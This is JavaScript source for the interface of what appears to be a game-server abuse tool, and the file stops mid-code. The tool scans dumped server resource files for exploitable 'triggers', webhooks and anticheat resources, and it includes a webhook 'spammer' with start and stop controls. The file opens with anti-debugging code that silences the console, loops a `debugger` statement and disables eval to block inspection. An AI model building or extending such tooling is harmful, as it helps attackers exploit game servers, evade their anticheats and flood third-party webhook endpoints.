// Protection and Anti-Dump Measures (function() { 'use strict'; // Disable console methods const originalConsole = { log: console.log, warn: console.warn, error: console.error, info: console.info, debug: console.debug }; // Override console methods console.log = function() {}; console.warn = function() {}; console.error = function() {}; console.info = function() {}; console.debug = function() {}; // Disable debugger setInterval(function() { debugger; }, 100); // Disable eval and Function constructor window.eval = function() { throw new Error('Access denied'); }; window.Function = function() { throw new Error('Access denied'); }; // Disable setTimeout and setInterval with strings const originalSetTimeout = window.setTimeout; const originalSetInterval = window.setInterval; window.setTimeout = function(fn, delay) { if (typeof fn === 'string') { throw new Error('Access denied'); } return originalSetTimeout.call(this, fn, delay); }; window.setInterval = function(fn, delay) { if (typeof fn === 'string') { throw new Error('Access denied'); } return originalSetInterval.call(this, fn, delay); }; // Disable document.write and document.writeln document.write = function() { throw new Error('Access denied'); }; document.writeln = function() { throw new Error('Access denied'); }; // Disable innerHTML manipulation for protection const originalInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML'); Object.defineProperty(Element.prototype, 'innerHTML', { set: function(value) { if (value.includes('Access Denied') || value.includes('Access denied')) { originalInnerHTML.set.call(this, value); } else { // Allow normal innerHTML operations for the app originalInnerHTML.set.call(this, value); } }, get: originalInnerHTML.get }); })(); // Application State const appState = { currentTab: 'triggers', knownTriggers: [], savedTriggers: [], webhooks: [], items: [], coordinates: [], serverDirectory: '', selectedFiles: [], scanResults: { triggers: [], webhooks: [], items: [], coordinates: [], files: 0 }, isSpamming: false, spamInterval: null, selectedWebhooks: [], manualWebhooks: [], // New: Stores manually added webhooks settings: { theme: 'default', autoSave: true, notifications: true } }; // LocalStorage functions for persistent saved triggers function saveTriggersToLocalStorage() { try { localStorage.setItem('savedTriggers', JSON.stringify(appState.savedTriggers)); } catch (error) { console.error('Error saving triggers to localStorage:', error); } } function loadTriggersFromLocalStorage() { try { const savedTriggers = localStorage.getItem('savedTriggers'); if (savedTriggers) { appState.savedTriggers = JSON.parse(savedTriggers); updateSavedTriggersList(); updateStats(); } } catch (error) { console.error('Error loading triggers from localStorage:', error); // If there's an error, reset to empty array appState.savedTriggers = []; } } function loadSettingsFromLocalStorage() { try { const savedSettings = localStorage.getItem('appSettings'); if (savedSettings) { const settings = JSON.parse(savedSettings); appState.settings = { ...appState.settings, ...settings }; applyTheme(appState.settings.theme); } } catch (error) { console.error('Error loading settings from localStorage:', error); } } function saveSettingsToLocalStorage() { try { localStorage.setItem('appSettings', JSON.stringify(appState.settings)); } catch (error) { console.error('Error saving settings to localStorage:', error); } } function clearAllSavedTriggers() { try { if (confirm('Are you sure you want to delete ALL saved triggers? This action cannot be undone!')) { appState.savedTriggers = []; saveTriggersToLocalStorage(); updateSavedTriggersList(); updateStats(); showNotification('All saved triggers cleared', 'success'); } } catch (error) { console.error('Error clearing saved triggers:', error); showNotification('Error clearing saved triggers', 'error'); } } function setupSettingsModal() { const settingsBtn = document.getElementById('settings-btn'); const settingsModal = document.getElementById('settings-modal'); const settingsClose = document.getElementById('settings-close'); const settingsOverlay = document.getElementById('settings-overlay'); const themeOptions = document.querySelectorAll('.theme-option'); const autoSaveToggle = document.getElementById('auto-save-toggle'); const notificationsToggle = document.getElementById('notifications-toggle'); // Open settings modal settingsBtn.addEventListener('click', () => { settingsModal.style.display = 'flex'; updateSettingsUI(); }); // Close settings modal const closeSettings = () => { settingsModal.style.display = 'none'; }; settingsClose.addEventListener('click', closeSettings); settingsOverlay.addEventListener('click', closeSettings); // Theme selection themeOptions.forEach(option => { option.addEventListener('click', () => { const theme = option.getAttribute('data-theme'); changeTheme(theme); // Update active state themeOptions.forEach(opt => opt.classList.remove('active')); option.classList.add('active'); }); }); // Settings toggles autoSaveToggle.addEventListener('change', (e) => { appState.settings.autoSave = e.target.checked; saveSettingsToLocalStorage(); }); notificationsToggle.addEventListener('change', (e) => { appState.settings.notifications = e.target.checked; saveSettingsToLocalStorage(); }); // Close on escape key document.addEventListener('keydown', (e) => { if (e.key === 'Escape' && settingsModal.style.display === 'flex') { closeSettings(); } }); } function updateSettingsUI() { // Update theme selection const themeOptions = document.querySelectorAll('.theme-option'); themeOptions.forEach(option => { option.classList.remove('active'); if (option.getAttribute('data-theme') === appState.settings.theme) { option.classList.add('active'); } }); // Update toggles const autoSaveToggle = document.getElementById('auto-save-toggle'); const notificationsToggle = document.getElementById('notifications-toggle'); if (autoSaveToggle) autoSaveToggle.checked = appState.settings.autoSave; if (notificationsToggle) notificationsToggle.checked = appState.settings.notifications; } function changeTheme(theme) { appState.settings.theme = theme; applyTheme(theme); saveSettingsToLocalStorage(); showNotification(`Theme changed to ${theme}`, 'success'); } function applyTheme(theme) { const body = document.body; // Remove all theme classes body.classList.remove('theme-purple', 'theme-green', 'theme-orange', 'theme-red', 'theme-cyan'); // Add new theme class if (theme !== 'default') { body.classList.add(`theme-${theme}`); } } function navigateToFileInExplorer(filePath, resourceName) { try { // Extract the directory path from the file path const pathParts = filePath.split('/'); const fileName = pathParts.pop(); // Get the filename const directoryPath = pathParts.join('/'); // Find all folder headers in the resource explorer const folderHeaders = document.querySelectorAll('.folder-header'); // Look for the folder that contains our file let targetFolder = null; let targetFile = null; folderHeaders.forEach(header => { const folderName = header.querySelector('span').textContent; // Check if this folder matches our directory or resource if (folderName === resourceName || folderName.includes(directoryPath) || directoryPath.includes(folderName)) { // Expand the folder if it's collapsed const folderContent = header.nextElementSibling; if (folderContent && folderContent.style.display === 'none') { header.click(); // This will expand the folder } targetFolder = header; // Look for the specific file in this folder setTimeout(() => { const fileElements = folderContent.querySelectorAll('.resource-file'); fileElements.forEach(fileElement => { const fileNameElement = fileElement.querySelector('span'); if (fileNameElement && fileNameElement.textContent === fileName) { // Highlight the file fileElement.style.backgroundColor = 'rgba(102, 126, 234, 0.2)'; fileElement.style.border = '1px solid #667eea'; // Scroll to the file fileElement.scrollIntoView({ behavior: 'smooth', block: 'center' }); // Remove highlight after 3 seconds setTimeout(() => { fileElement.style.backgroundColor = ''; fileElement.style.border = ''; }, 3000); targetFile = fileElement; } }); }, 100); // Small delay to ensure folder is expanded } }); // If we found a target folder, scroll to it if (targetFolder) { targetFolder.scrollIntoView({ behavior: 'smooth', block: 'center' }); } } catch (error) { console.error('Error navigating to file in explorer:', error); } } function editTriggerName(triggerId, currentName) { try { const trigger = appState.savedTriggers.find(t => t.id === triggerId); if (!trigger) return; // Create a custom input dialog const inputDialog = document.createElement('div'); inputDialog.style.cssText = ` position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8); display: flex; justify-content: center; align-items: center; z-index: 10000; `; const dialogContent = document.createElement('div'); dialogContent.style.cssText = ` background: #2a2a2a; padding: 20px; border-radius: 8px; border: 1px solid #667eea; min-width: 300px; max-width: 500px; `; dialogContent.innerHTML = `

Edit Trigger Name

`; inputDialog.appendChild(dialogContent); document.body.appendChild(inputDialog); const input = dialogContent.querySelector('#edit-trigger-name-input'); const cancelBtn = dialogContent.querySelector('#cancel-edit-btn'); const saveBtn = dialogContent.querySelector('#save-edit-btn'); // Focus on input input.focus(); input.select(); // Handle save const saveName = () => { const newName = input.value.trim(); if (newName === '') { showNotification('Trigger name cannot be empty', 'error'); return; } // Check if name already exists const existingTrigger = appState.savedTriggers.find(t => t.id !== triggerId && t.resource === newName); if (existingTrigger) { showNotification('A trigger with this name already exists', 'error'); return; } trigger.resource = newName; saveTriggersToLocalStorage(); updateSavedTriggersList(); showNotification('Trigger name updated', 'success'); document.body.removeChild(inputDialog); }; // Handle cancel const cancelEdit = () => { document.body.removeChild(inputDialog); }; // Event listeners saveBtn.addEventListener('click', saveName); cancelBtn.addEventListener('click', cancelEdit); input.addEventListener('keypress', (e) => { if (e.key === 'Enter') { saveName(); } }); input.addEventListener('keydown', (e) => { if (e.key === 'Escape') { cancelEdit(); } }); // Close on outside click inputDialog.addEventListener('click', (e) => { if (e.target === inputDialog) { cancelEdit(); } }); } catch (error) { console.error('Error editing trigger name:', error); showNotification('Error updating trigger name', 'error'); } } // DOM Elements const tabButtons = document.querySelectorAll('.tab-btn'); const tabContents = document.querySelectorAll('.tab-content'); const actionButtons = document.querySelectorAll('.action-btn'); const searchInput = document.getElementById('search-input'); const serverDirectoryInput = document.getElementById('server-directory-input'); const browseDirectoryBtn = document.getElementById('browse-directory-btn'); const browseBtn = document.getElementById('browse-btn'); const deepScanBtn = document.getElementById('deep-scan-btn'); const clearResultsBtn = document.getElementById('clear-results-btn'); // Initialize the application document.addEventListener('DOMContentLoaded', function() { loadTriggersFromLocalStorage(); loadSettingsFromLocalStorage(); initializeApp(); loadSampleData(); updateStats(); setupSettingsModal(); // Check web compatibility checkWebCompatibility(); }); function initializeApp() { // Tab switching functionality tabButtons.forEach(button => { button.addEventListener('click', () => { const tabName = button.getAttribute('data-tab'); switchTab(tabName); }); }); // Action button functionality actionButtons.forEach(button => { button.addEventListener('click', () => { actionButtons.forEach(btn => btn.classList.remove('active')); button.classList.add('active'); handleActionButton(button.textContent.trim()); }); }); // Search functionality - real-time filtering searchInput.addEventListener('input', handleSearch); // Resource explorer search functionality const resourceSearchInput = document.getElementById('resource-search-input'); if (resourceSearchInput) { resourceSearchInput.addEventListener('input', handleResourceSearch); } // Directory browsing and scanning browseDirectoryBtn.addEventListener('click', browseServerDirectory); browseBtn.addEventListener('click', browseServerDirectory); deepScanBtn.addEventListener('click', performDeepScan); clearResultsBtn.addEventListener('click', clearResults); // Initialize form handlers initializeFormHandlers(); } function updateSpammerSelectedWebhooks() { try { const container = document.getElementById('spammer-webhooks-list'); if (!container) return; container.innerHTML = ''; // Combine manual webhooks and selected webhooks const allWebhooks = [...new Set([...appState.manualWebhooks, ...appState.selectedWebhooks])]; if (allWebhooks.length === 0) { container.innerHTML = '

No webhooks available. Add webhooks using the input above or select from the Webhooks tab.

'; return; } allWebhooks.forEach((url, index) => { const isManual = appState.manualWebhooks.includes(url); const isSelected = appState.selectedWebhooks.includes(url); const webhookItem = document.createElement('div'); webhookItem.className = `webhook-item ${isSelected ? 'selected' : ''}`; webhookItem.innerHTML = ` ${url}
`; container.appendChild(webhookItem); }); } catch (error) { console.error('Error updating spammer webhooks list:', error); } } function switchTab(tabName) { // Update tab buttons tabButtons.forEach(btn => { btn.classList.remove('active'); if (btn.getAttribute('data-tab') === tabName) { btn.classList.add('active'); } }); // Update tab content tabContents.forEach(content => { content.classList.remove('active'); if (content.id === `${tabName}-content`) { content.classList.add('active'); } }); appState.currentTab = tabName; // Update selected webhooks display if switching to spammer tab if (tabName === 'spammer') { updateSpammerSelectedWebhooks(); setupSpammerEventListeners(); } // Set up Editor event listeners if switching to editor tab if (tabName === 'editor') { setupEditorEventListeners(); } updateStats(); } function setupEditorEventListeners() { try { console.log('Setting up Editor event listeners...'); // Editor functionality const loopTriggerBtn = document.getElementById('loop-trigger-btn'); const keybindTriggerBtn = document.getElementById('keybind-trigger-btn'); // Remove existing event listeners to prevent duplicates if (loopTriggerBtn) { loopTriggerBtn.replaceWith(loopTriggerBtn.cloneNode(true)); const newLoopBtn = document.getElementById('loop-trigger-btn'); newLoopBtn.addEventListener('click', () => { console.log('Loop trigger button clicked!'); handleLoopTrigger(); }); console.log('Loop trigger button event listener added'); } else { console.error('Loop trigger button not found!'); } if (keybindTriggerBtn) { keybindTriggerBtn.replaceWith(keybindTriggerBtn.cloneNode(true)); const newKeybindBtn = document.getElementById('keybind-trigger-btn'); newKeybindBtn.addEventListener('click', () => { console.log('Keybind trigger button clicked!'); handleKeybindTrigger(); }); console.log('Keybind trigger button event listener added'); } else { console.error('Keybind trigger button not found!'); } console.log('Editor event listeners setup complete'); } catch (error) { console.error('Error setting up Editor event listeners:', error); } } function initializeFormHandlers() { // Spammer functionality (moved to webhooks tab) const sendBtn = document.querySelector('.send-btn'); const clearBtn = document.querySelector('.clear-btn'); const startSpamBtn = document.querySelector('.start-spam-btn'); const stopSpamBtn = document.querySelector('.stop-spam-btn'); const selectAllBtn = document.querySelector('.select-all-btn'); const clearSelectionBtn = document.querySelector('.clear-selection-btn'); const addWebhookBtn = document.getElementById('add-webhook-btn'); const manualWebhookInput = document.getElementById('manual-webhook-url'); // Coordinate functionality const coordinateSearch = document.getElementById('coordinate-search'); const coordinateTypeFilter = document.getElementById('coordinate-type-filter'); if (sendBtn) { sendBtn.addEventListener('click', sendWebhookOnce); } if (clearBtn) { clearBtn.addEventListener('click', clearWebhookForm); } if (startSpamBtn) { startSpamBtn.addEventListener('click', startWebhookSpam); } if (stopSpamBtn) { stopSpamBtn.addEventListener('click', stopWebhookSpam); } if (selectAllBtn) { selectAllBtn.addEventListener('click', selectAllWebhooks); } if (clearSelectionBtn) { clearSelectionBtn.addEventListener('click', clearWebhookSelection); } // Manual webhook functionality if (addWebhookBtn) { addWebhookBtn.addEventListener('click', addManualWebhook); } if (manualWebhookInput) { manualWebhookInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') { addManualWebhook(); } }); } if (coordinateSearch) { coordinateSearch.addEventListener('input', handleCoordinateSearch); } if (coordinateTypeFilter) { coordinateTypeFilter.addEventListener('change', handleCoordinateTypeFilter); } // Update preview when form changes const messageContent = document.getElementById('message-content'); const overrideUsername = document.getElementById('override-username'); const embedCheckbox = document.getElementById('embed-checkbox'); if (messageContent) { messageContent.addEventListener('input', updatePreview); } if (overrideUsername) { overrideUsername.addEventListener('input', updatePreview); } if (embedCheckbox) { embedCheckbox.addEventListener('change', updatePreview); } } function checkWebCompatibility() { try { // Check if webkitdirectory is supported const isWebkitSupported = 'webkitdirectory' in HTMLInputElement.prototype; if (!isWebkitSupported) { // Show web compatibility notice setTimeout(() => { showNotification('Web Mode: Use the Browse button to select individual files or drag & drop files directly', 'info'); }, 2000); } // Check clipboard API support if (!navigator.clipboard || !window.isSecureContext) { console.log('Clipboard API not available - using fallback methods'); } } catch (error) { console.error('Error checking web compatibility:', error); } } function browseServerDirectory() { try { // Check if webkitdirectory is supported (desktop/browser compatibility) const isWebkitSupported = 'webkitdirectory' in HTMLInputElement.prototype; if (isWebkitSupported) { // Desktop/Chrome/Edge version - can browse directories const input = document.createElement('input'); input.type = 'file'; input.webkitdirectory = true; input.multiple = true; input.addEventListener('change', (event) => { try { const files = event.target.files; if (files.length > 0) { const directoryPath = files[0].webkitRelativePath.split('/')[0]; serverDirectoryInput.value = directoryPath; appState.serverDirectory = directoryPath; appState.selectedFiles = Array.from(files); updateResourceExplorer(files); showNotification(`Selected directory: ${directoryPath} (${files.length} files)`, 'success'); } } catch (error) { console.error('Error processing directory:', error); showNotification('Error processing directory', 'error'); } }); input.click(); } else { // Web version - manual file selection showWebFileSelector(); } } catch (error) { console.error('Error creating file input:', error); // Fallback to web version showWebFileSelector(); } } function showWebFileSelector() { try { // Create a modal for web file selection const modal = document.createElement('div'); modal.style.cssText = ` position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.8); display: flex; justify-content: center; align-items: center; z-index: 10000; `; const modalContent = document.createElement('div'); modalContent.style.cssText = ` background: #2a2a2a; padding: 30px; border-radius: 12px; border: 2px solid #667eea; max-width: 600px; width: 90%; max-height: 80vh; overflow-y: auto; `; modalContent.innerHTML = `

Web File Upload

For web compatibility, please select individual files or use the drag & drop area below. You can select multiple files by holding Ctrl/Cmd while clicking.

Drop files here or click to browse

Supports: .lua, .js, .json, .cfg, .txt, .xml, .html, .css, .php, .py, .md

`; modal.appendChild(modalContent); document.body.appendChild(modal); // Setup file input handling const fileInput = modalContent.querySelector('#web-file-input'); const dropZone = modalContent.querySelector('#drop-zone'); const processBtn = modalContent.querySelector('#process-web-files'); const cancelBtn = modalContent.querySelector('#cancel-web-upload'); let selectedFiles = []; // File input change handler fileInput.addEventListener('change', (e) => { selectedFiles = Array.from(e.target.files); updateFileList(selectedFiles); }); // Drag and drop handlers dropZone.addEventListener('dragover', (e) => { e.preventDefault(); dropZone.style.borderColor = '#e91e63'; dropZone.style.background = 'rgba(233, 30, 99, 0.1)'; }); dropZone.addEventListener('dragleave', (e) => { e.preventDefault(); dropZone.style.borderColor = '#667eea'; dropZone.style.background = '#1a1a1a'; }); dropZone.addEventListener('drop', (e) => { e.preventDefault(); dropZone.style.borderColor = '#667eea'; dropZone.style.background = '#1a1a1a'; const files = Array.from(e.dataTransfer.files); selectedFiles = files.filter(file => { const ext = file.name.toLowerCase().split('.').pop(); return ['lua', 'js', 'json', 'cfg', 'txt', 'xml', 'html', 'css', 'php', 'py', 'md'].includes(ext); }); updateFileList(selectedFiles); }); // Click to browse dropZone.addEventListener('click', () => { fileInput.click(); }); // Process files processBtn.addEventListener('click', () => { if (selectedFiles.length === 0) { showNotification('Please select at least one file', 'warning'); return; } // Create virtual directory structure for web files const virtualFiles = selectedFiles.map(file => { // Create a virtual webkitRelativePath for compatibility file.webkitRelativePath = `web_upload/${file.name}`; return file; }); appState.serverDirectory = 'web_upload'; appState.selectedFiles = virtualFiles; serverDirectoryInput.value = 'web_upload'; updateResourceExplorer(virtualFiles); showNotification(`Processed ${selectedFiles.length} files from web upload`, 'success'); // Close modal document.body.removeChild(modal); }); // Cancel cancelBtn.addEventListener('click', () => { document.body.removeChild(modal); }); // Close on outside click modal.addEventListener('click', (e) => { if (e.target === modal) { document.body.removeChild(modal); } }); function updateFileList(files) { const dropZone = modalContent.querySelector('#drop-zone'); if (files.length > 0) { dropZone.innerHTML = `

${files.length} file(s) selected

Click to change selection

`; } else { dropZone.innerHTML = `

Drop files here or click to browse

Supports: .lua, .js, .json, .cfg, .txt, .xml, .html, .css, .php, .py, .md

`; } } } catch (error) { console.error('Error showing web file selector:', error); showNotification('Error creating file selector', 'error'); } } function updateResourceExplorer(files, searchTerm = '') { try { const resourceTree = document.getElementById('resource-tree'); if (!resourceTree) return; resourceTree.innerHTML = ''; if (!files || files.length === 0) { if (searchTerm) { resourceTree.innerHTML = `
No resources found matching "${searchTerm}"
`; } else { resourceTree.innerHTML = `
Select a server directory to explore
`; } return; } // Create a hierarchical structure const fileTree = {}; // Build the tree structure for (let file of files) { // Handle both webkitRelativePath (desktop) and web upload (browser) const relativePath = file.webkitRelativePath || `web_upload/${file.name}`; const pathParts = relativePath.split('/'); let currentLevel = fileTree; // Create folders for each path segment for (let i = 0; i < pathParts.length - 1; i++) { const folderName = pathParts[i]; if (!currentLevel[folderName]) { currentLevel[folderName] = { type: 'folder', children: {}, files: [] }; } currentLevel = currentLevel[folderName].children; } // Add the file to the last folder const fileName = pathParts[pathParts.length - 1]; currentLevel[fileName] = { type: 'file', file: file }; } // Render the tree renderFolderTree(resourceTree, fileTree, '', searchTerm); } catch (error) { console.error('Error updating resource explorer:', error); } } function updateResourceExplorerWithAnticheats() { try { // Get anticheat results from scan const anticheats = appState.scanResults.anticheats || []; // Create a map of resource names to anticheat names const anticheatMap = new Map(); anticheats.forEach(ac => { anticheatMap.set(ac.resource, ac.name); }); // Find all folder elements in the resource tree const folderElements = document.querySelectorAll('.resource-folder .folder-header'); folderElements.forEach(folderElement => { const resourceNameSpan = folderElement.querySelector('span'); if (resourceNameSpan) { const resourceName = resourceNameSpan.textContent.trim(); // Check if this resource has an anticheat if (anticheatMap.has(resourceName)) { const anticheatName = anticheatMap.get(resourceName); // Remove any existing AC indicator const existingAC = folderElement.querySelector('.ac-indicator'); if (existingAC) { existingAC.remove(); } // Add AC indicator const acIndicator = document.createElement('span'); acIndicator.className = 'ac-indicator'; acIndicator.style.cssText = ` background: #e74c3c; color: white; padding: 2px 6px; border-radius: 3px; font-size: 10px; font-weight: bold; margin-left: 8px; cursor: pointer; transition: background-color 0.2s; `; acIndicator.textContent = 'AC'; acIndicator.title = `Anticheat: ${anticheatName}`; // Add hover effect acIndicator.addEventListener('mouseenter', () => { acIndicator.style.backgroundColor = '#c0392b'; }); acIndicator.addEventListener('mouseleave', () => { acIndicator.style.backgroundColor = '#e74c3c'; }); // Add click event to show anticheat details acIndicator.addEventListener('click', (e) => { e.stopPropagation(); showNotification(`Anticheat detected: ${anticheatName}`, 'warning'); }); // Insert AC indicator after the resource name resourceNameSpan.parentNode.insertBefore(acIndicator, resourceNameSpan.nextSibling); } } }); } catch (error) { console.error('Error updating resource explorer with anticheats:', error); } } function renderFolderTree(container, tree, path, searchTerm = '') { try { Object.keys(tree).forEach(name => { const item = tree[name]; const fullPath = path ? `${path}/${name}` : name; if (item.type === 'folder') { // Count files in this folder and subfolders const fileCount = countFilesInFolder(item); // Check if folder should be shown (if searching, only show if it has matching files) if (searchTerm && fileCount === 0) { return; } // Create folder element const folderElement = document.createElement('div'); folderElement.className = 'resource-folder'; folderElement.style.cssText = ` margin: 2px 0; user-select: none; `; folderElement.innerHTML = `
${name} ${fileCount} files
`; // Add click event to toggle folder const folderHeader = folderElement.querySelector('.folder-header'); const folderContent = folderElement.querySelector('.folder-content'); const folderIcon = folderElement.querySelector('.folder-icon'); folderHeader.addEventListener('click', () => { const isExpanded = folderContent.style.display !== 'none'; if (isExpanded) { folderContent.style.display = 'none'; folderIcon.style.transform = 'rotate(0deg)'; folderHeader.style.backgroundColor = 'transparent'; } else { folderContent.style.display = 'block'; folderIcon.style.transform = 'rotate(90deg)'; folderHeader.style.backgroundColor = 'rgba(139, 157, 195, 0.1)'; // Only render children if not already rendered if (folderContent.children.length === 0) { renderFolderTree(folderContent, item.children, fullPath, searchTerm); } } }); // Auto-expand folders when searching if (searchTerm && fileCount > 0) { folderContent.style.display = 'block'; folderIcon.style.transform = 'rotate(90deg)'; folderHeader.style.backgroundColor = 'rgba(139, 157, 195, 0.1)'; renderFolderTree(folderContent, item.children, fullPath, searchTerm); } // Add hover effect folderHeader.addEventListener('mouseenter', () => { if (folderContent.style.display === 'none') { folderHeader.style.backgroundColor = 'rgba(139, 157, 195, 0.05)'; } }); folderHeader.addEventListener('mouseleave', () => { if (folderContent.style.display === 'none') { folderHeader.style.backgroundColor = 'transparent'; } }); container.appendChild(folderElement); } else if (item.type === 'file') { // Check if file should be shown (if searching, only show matching files) if (searchTerm) { const fileName = item.file.name.toLowerCase(); const filePath = (item.file.webkitRelativePath || `web_upload/${item.file.name}`).toLowerCase(); if (!fileName.includes(searchTerm) && !filePath.includes(searchTerm)) { return; } } // Create file element const fileElement = document.createElement('div'); fileElement.className = 'resource-file'; fileElement.style.cssText = ` display: flex; align-items: center; padding: 4px 8px; margin: 2px 0; cursor: pointer; border-radius: 4px; transition: background-color 0.2s; margin-left: 20px; font-size: 13px; `; // Get file icon based on extension const fileIcon = getFileIcon(name); fileElement.innerHTML = ` ${name} ${formatFileSize(item.file.size)} `; // Add click event to view file fileElement.addEventListener('click', () => { viewFile(item.file); }); // Show view button on hover fileElement.addEventListener('mouseenter', () => { const viewBtn = fileElement.querySelector('.view-file-btn'); if (viewBtn) viewBtn.style.opacity = '1'; }); fileElement.addEventListener('mouseleave', () => { const viewBtn = fileElement.querySelector('.view-file-btn'); if (viewBtn) viewBtn.style.opacity = '0'; }); // Add hover effect fileElement.addEventListener('mouseenter', () => { fileElement.style.backgroundColor = 'rgba(139, 157, 195, 0.1)'; }); fileElement.addEventListener('mouseleave', () => { fileElement.style.backgroundColor = 'transparent'; }); container.appendChild(fileElement); } }); } catch (error) { console.error('Error rendering folder tree:', error); } } function countFilesInFolder(folder) { try { let count = 0; // Count files in current folder Object.keys(folder.children).forEach(name => { const item = folder.children[name]; if (item.type === 'file') { count++; } else if (item.type === 'folder') { count += countFilesInFolder(item); } }); return count; } catch (error) { console.error('Error counting files in folder:', error); return 0; } } function getFileIcon(fileName) { try { const extension = fileName.toLowerCase().substring(fileName.lastIndexOf('.')); switch (extension) { case '.lua': return 'fas fa-code'; case '.js': return 'fab fa-js-square'; case '.json': return 'fas fa-file-code'; case '.html': return 'fab fa-html5'; case '.css': return 'fab fa-css3-alt'; case '.xml': return 'fas fa-file-code'; case '.txt': return 'fas fa-file-alt'; case '.md': return 'fas fa-file-alt'; case '.png': case '.jpg': case '.jpeg': case '.gif': case '.webp': case '.svg': return 'fas fa-image'; case '.cfg': return 'fas fa-cog'; case '.php': return 'fab fa-php'; case '.py': return 'fab fa-python'; default: return 'fas fa-file'; } } catch (error) { console.error('Error getting file icon:', error); return 'fas fa-file'; } } function formatFileSize(bytes) { try { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(1)) + ' ' + sizes[i]; } catch (error) { console.error('Error formatting file size:', error); return '0 B'; } } function viewFile(file) { const fileViewerModal = document.getElementById('file-viewer-modal'); const fileViewerName = document.getElementById('file-viewer-name'); const fileViewerText = document.getElementById('file-viewer-text'); const fileViewerClose = document.getElementById('file-viewer-close'); const fileViewerOverlay = document.getElementById('file-viewer-overlay'); // Show file viewer modal fileViewerModal.style.display = 'flex'; // Update file name fileViewerName.textContent = `File Preview: ${file.name}`; // Show loading message fileViewerText.innerHTML = 'Loading file content...'; // Read and display file content const reader = new FileReader(); reader.onload = function(e) { try { const content = e.target.result; if (isTextFile(file.name)) { // Limit content to prevent browser freezing on very large files const maxLength = 100000; // 100KB limit let displayContent = content; if (content.length > maxLength) { displayContent = content.substring(0, maxLength) + '\n\n... (File truncated - too large to display completely)'; } // Apply syntax highlighting based on file type const highlightedContent = applySyntaxHighlighting(displayContent, file.name); fileViewerText.innerHTML = `${highlightedContent}`; // Setup search functionality for the file viewer setupFileViewerSearch(fileViewerModal); } else { fileViewerText.innerHTML = `Binary file - content not displayed File type: ${file.type} Size: ${(file.size / 1024).toFixed(2)} KB`; } } catch (error) { fileViewerText.innerHTML = `Error reading file content: ${error.message}`; console.error('Error reading file:', error); } }; reader.onerror = function() { fileViewerText.innerHTML = 'Error reading file. Please try again.'; }; // Try to read as text first, fallback to binary for non-text files if (isTextFile(file.name)) { reader.readAsText(file); } else { fileViewerText.innerHTML = `Binary file - content not displayed File type: ${file.type} Size: ${(file.size / 1024).toFixed(2)} KB`; } // Add close functionality const closeFileViewer = () => { fileViewerModal.style.display = 'none'; }; fileViewerClose.onclick = closeFileViewer; fileViewerOverlay.onclick = closeFileViewer; // Close on Escape key const handleEscape = (e) => { if (e.key === 'Escape') { closeFileViewer(); document.removeEventListener('keydown', handleEscape); } }; document.addEventListener('keydown', handleEscape); // Show notification showNotification('File opened: ' + file.name, 'info'); } function applySyntaxHighlighting(content, fileName) { try { const extension = fileName.toLowerCase().substring(fileName.lastIndexOf('.')); switch (extension) { case '.xml': case '.meta': return highlightXML(content); case '.lua': return highlightLua(content); case '.js': return highlightJavaScript(content); case '.json': return highlightJSON(content); case '.html': return highlightHTML(content); case '.css': return highlightCSS(content); case '.php': return highlightPHP(content); case '.py': return highlightPython(content); default: return escapeHtml(content); } } catch (error) { console.error('Error applying syntax highlighting:', error); return escapeHtml(content); } } function highlightXML(content) { return content .replace(/&/g, '&') .replace(//g, '>') .replace(/(".*?")/g, '$1') .replace(/(<\/?[a-zA-Z][a-zA-Z0-9]*)/g, '$1') .replace(/(>)/g, '$1') .replace(/(<!--.*?-->)/g, '$1') .replace(/(>)([^&]*?)(<)/g, function(match, open, content, close) { return open + '' + content + '' + close; }); } function highlightLua(content) { const keywords = ['function', 'end', 'if', 'then', 'else', 'elseif', 'for', 'while', 'do', 'repeat', 'until', 'break', 'return', 'local', 'nil', 'true', 'false', 'and', 'or', 'not', 'in']; const keywordRegex = new RegExp('\\b(' + keywords.join('|') + ')\\b', 'g'); return content .replace(/&/g, '&') .replace(//g, '>') .replace(keywordRegex, '$1') .replace(/(--.*)/g, '$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/(["'])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1'); } function highlightJavaScript(content) { const keywords = ['function', 'var', 'let', 'const', 'if', 'else', 'for', 'while', 'do', 'switch', 'case', 'break', 'continue', 'return', 'try', 'catch', 'finally', 'throw', 'new', 'delete', 'typeof', 'instanceof', 'in', 'of', 'class', 'extends', 'super', 'import', 'export', 'default', 'async', 'await', 'true', 'false', 'null', 'undefined']; const keywordRegex = new RegExp('\\b(' + keywords.join('|') + ')\\b', 'g'); return content .replace(/&/g, '&') .replace(//g, '>') .replace(keywordRegex, '$1') .replace(/(\/\/.*)/g, '$1') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/(["'`])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1'); } function highlightJSON(content) { return content .replace(/&/g, '&') .replace(//g, '>') .replace(/(["'])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/\b(true|false|null)\b/g, '$1'); } function highlightHTML(content) { return content .replace(/&/g, '&') .replace(//g, '>') .replace(/(<\/?[a-zA-Z][a-zA-Z0-9]*)/g, '$1') .replace(/(>)/g, '$1') .replace(/(".*?")/g, '$1') .replace(/(<!--.*?-->)/g, '$1'); } function highlightCSS(content) { const keywords = ['@media', '@import', '@font-face', '@keyframes', '@supports', '!important']; const keywordRegex = new RegExp('\\b(' + keywords.join('|') + ')\\b', 'g'); return content .replace(/&/g, '&') .replace(//g, '>') .replace(keywordRegex, '$1') .replace(/(\/\*[\s\S]*?\*\/)/g, '$1') .replace(/(\d+\.?\d*)/g, '$1') .replace(/(["'])((?:\\.|(?!\1)[^\\])*?)\1/g, '$1$2$1'); } function highlightPHP(content) { const keywords = ['function', 'class', 'public', 'private', 'protected', 'static', 'const', 'if', 'else', 'elseif', 'for', 'foreach', 'while', 'do', 'switch', 'case', 'break', 'continue', 'return', 'try', 'catch', 'finally', 'throw', 'new', 'clone', 'var', 'global', 'isset', 'unset', 'empty', 'die', 'exit', 'true', 'false', 'null', 'array', 